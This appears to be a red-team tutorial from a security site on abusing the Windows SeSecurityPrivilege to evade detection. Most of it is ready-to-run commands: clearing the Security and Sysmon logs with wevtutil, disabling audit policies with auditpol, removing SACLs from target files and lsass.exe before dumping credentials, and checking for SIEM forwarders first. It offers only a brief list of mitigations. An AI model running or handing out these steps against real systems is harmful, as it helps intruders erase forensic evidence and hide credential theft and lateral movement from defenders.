SeSecurityPrivilege: Clear Logs, SACLs, and SIEM Evasion

You've escalated, dumped credentials, and moved laterally. Every step is in the Security Log. With SeSecurityPrivilege: first read the log to understand what the blue team is monitoring, then remove the SACLs from the objects you need, then erase the traces. But first—check if a SIEM is active.

Quick Exploit #

sc query SplunkForwarder
netstat -an | findstr ":514 :9997 :5985"

If no forwarder is active:

wevtutil cl Security
wevtutil cl "Microsoft-Windows-Sysmon/Operational"

Surgical approach (more stealthy than log clearing):

$acl = Get-Acl "C:\sensitive\file.txt"
$acl.SetAuditRuleProtection($true, $false)
Set-Acl "C:\sensitive\file.txt" $acl

Attack Chain #

SeSecurityPrivilege Enabled
  → Step 1: verifica SIEM forwarding (sc query + netstat)
  → Step 2: auditpol /get /category:* → capisce cosa viene loggato
  → Step 3: wevtutil qe Security → leggi baseline attività admin
  → Step 4: SACL removal sugli oggetti target prima di accederli
  → Step 5: esegui operazioni (dump, accessi, movimento)
  → Step 6: wevtutil cl Security + Sysmon (solo se no SIEM live)

Tool Decision #

What is SeSecurityPrivilege? #

It allows three distinct operations on the audit system:

1. Read and edit the Security Event Log
2. Managing SACLs (System Access Control List) of any object without being the owner
3. Clear the Security Log and modify audit policies

It's not an escalation vector—it's the tool for managing engagement visibility. In a professional red team, OpSec is part of the deliverable.

When it exists #

• Administrators (high token)
• Event Log Administrators — specific local group
• Security monitoring accounts — SIEM agent, log collector
• Software Compliance service account

Verify:

whoami /priv

Looking for:

SeSecurityPrivilege    Manage auditing and security log    Enabled

Who has privilege in the system:

accesschk.exe -a SeSecurityPrivilege *

Step 1 — Read the log before acting (intelligence) #

Before performing noisy operations, read the Security Log to understand what is being audited and the baseline of normal activity:

auditpol /get /category:*

This shows exactly what is being logged — where you can operate silently and where you can't.

Read the latest logon events to understand the admins' schedules:

wevtutil qe Security /q:"*[System[EventID=4624]]" /c:50 /rd:true /f:text

Read privilege use attempts (what is audited):

wevtutil qe Security /q:"*[System[EventID=4673]]" /c:50 /f:text

View the last 100 events with PowerShell:

Get-EventLog -LogName Security -Newest 100 | Group-Object EventID | Sort-Object Count -Descending | Select-Object Name, Count

Step 2 — Verify if logs are forwarded to a SIEM #

This is the most important step before deleting any logs. If real-time forwarding is used, deleting the local log is unnecessary—the events are already in the SIEM.

Search for active log forwarding services:

sc query "SplunkForwarder"
sc query "nxlog"
sc query "winrm"

Check for active connections to common SIEM ports:

netstat -an | findstr ":514 :9997 :5985 :6514"

If no forwarder is active, clearing the log makes sense. If it is active, the events already exist in the SIEM, 1102 (log cleared) will generate an immediate alert.

Step 3 — Clear the Security Log #

wevtutil cl Security

No visible output if successful.

Using PowerShell:

Clear-EventLog -LogName Security

The paradox: Deleting generates Event ID 1102 (Security log cleared). If you have a SIEM with real-time forwarding, 1102 is already in the SIEM before you finish deleting. Always evaluate step 2 first.

variants #

Clear additional logs #

wevtutil cl System

wevtutil cl Application

Clear Sysmon operational (if present — delete more detailed traces):

wevtutil cl "Microsoft-Windows-Sysmon/Operational"

List all logs available in the system:

wevtutil el

Disable audit policies for specific categories #

To stop generating future events without deleting past ones, disable Object Access (files and the registry are no longer logged):

auditpol /set /category:"Object Access" /success:disable /failure:disable

Disable all (generates Event ID 4719 — visible if SIEM forwards):

auditpol /clear

SACL manipulation — surgical approach #

The stealthiest technique: remove the SACL from the specific object before accessing it. Subsequent operations on that object do not generate audit events.

Remove SACL with PowerShell (on a specific file):

$path = "C:\sensitive\data.txt"
$acl = Get-Acl $path
$acl.SetAuditRuleProtection($true, $false)
Set-Acl $path $acl

Then access the file → no Event ID 4663 generated.

With SetACL for more control — downloadable from helgeklein.com/setacl :

Backup of the original SACL:

SetACL.exe -on C:\sensitive\data.txt -ot file -actn list -lst "f:sddl" > C:\temp\sacl_backup.txt

Remove the SACL:

SetACL.exe -on C:\sensitive\data.txt -ot file -actn clear -clr sacl

Access the file (no audit events generated), then restore:

SetACL.exe -on C:\sensitive\data.txt -ot file -actn restore -bckp C:\temp\sacl_backup.txt

Recommended OpSec Workflow #

1. auditpol /get /category:*          → capisce cosa viene loggato
2. wevtutil qe Security (EventID=4624) → identifica orari admin
3. sc query SplunkForwarder + netstat  → verifica forwarding SIEM
4. SACL removal su oggetti target      → accessi futuri non loggati
5. Esegui le operazioni
6. Log clearing solo se no SIEM live

Real-world scenarios #

Pre-LSASS dump — remove SACL from lsass.exe before dump → no Event ID 4656/4663 generated for that specific object.

Pre-lateral intelligence — read DC Event ID 4624 to identify when domain.admin logs in and from where → plan lateral movement in the right window.

Post-exploitation cleanup — no active SIEM forwarding → clear local Security Log + Sysmon → reduce forensic traces.

Common mistakes #

wevtutil cl Security → Access Denied — Token not elevated. Run elevated process.

You deleted the log but the SIEM already has everything — SIEM with real-time forwarding. Event ID 1102 (log cleared) is already in the SIEM before you finish typing the command. ALWAYS check first with sc query + netstat.

SACL removal generates Event ID 4907 — “Audit Policy Change” is enabled and the SIEM forwards it. Use granular SACL removal (specific objects only) instead of bulk clearing.

auditpol /clear generates 4719 visible to SIEM — Disable only the specific categories you need instead of clearing everything: auditpol /set /category:"Object Access" /success:disable /failure:disable.

Detection and bypass (Red Team view) #

When it fails #

• Token not raised → Access Denied on wevtutil cl
• SIEM real-time forwarding → Local log clearing useless, 1102 already forwarded
• Event ID 4907 from SACL modification → if “Audit Policy Change” is enabled

Mitigations #

• Real-time log forwarding to SIEM — main mitigation: irrelevant local clearing
• Immediate alert on Event ID 1102 — no legitimate reason in production
• Centralized log retention on infrastructure not reachable from the endpoint
• Limit SeSecurityPrivilege to the bare minimum

Realistic note: In environments without SIEM (common in SMBs and many enterprise segments), local log clearing eliminates all evidence. In environments with real-time SIEM, Event ID 1102 is often one of the few high-priority alerts configured—expect a quick response.

FAQ #

Is SACL manipulation stealthier than log clearing? Yes—it only generates Event ID 4907 (if “Audit Policy Change” is enabled) instead of the flashy 1102. Remove SACL only from the specific objects you need, not en masse.

How do I check if I have an active SIEM? sc query SplunkForwarder, sc query nxlog, sc query "Elastic Agent", then netstat -an | findstr ":514 :9997 :5985 :6514"An active agent = events are already elsewhere.

Can I use it to read the admin log before taking action? Yes - wevtutil qe Security /q:"*[System[EventID=4624]]" Shows when and where admins connect. Useful for planning the timing of lateral movement.

SeSecurityPrivilege is the red teamer's OpSec privilege — but before clearing any logs, always check to see if a SIEM is listening.

Related articles:

• SeBackupPrivilege — credential dump to be performed with SACL coverage
• SeDebugPrivilege — LSASS dump to do after removing SACL from lsass

References: SetACL · Microsoft Docs

To learn more about red team and OpSec techniques on Windows: hackita.it/servizi